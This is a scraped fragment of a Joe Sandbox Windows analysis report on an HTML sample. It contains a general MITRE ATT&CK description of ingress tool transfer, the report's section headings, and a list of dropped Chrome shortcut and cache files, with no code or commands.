Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 0055-fac_aftral.com_Thursday, June 20, 2024.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Boot Survival

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 70

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Chrome Cache Entry: 79

Chrome Cache Entry: 80

Chrome Cache Entry: 81

Chrome Cache Entry: 82

Chrome Cache Entry: 83

Chrome Cache Entry: 84

Chrome Cache Entry: 85

Chrome Cache Entry: 86

Chrome Cache Entry: 87

Windows Analysis Report
0055-fac_aftral.com_Thursday, June 20, 2024.html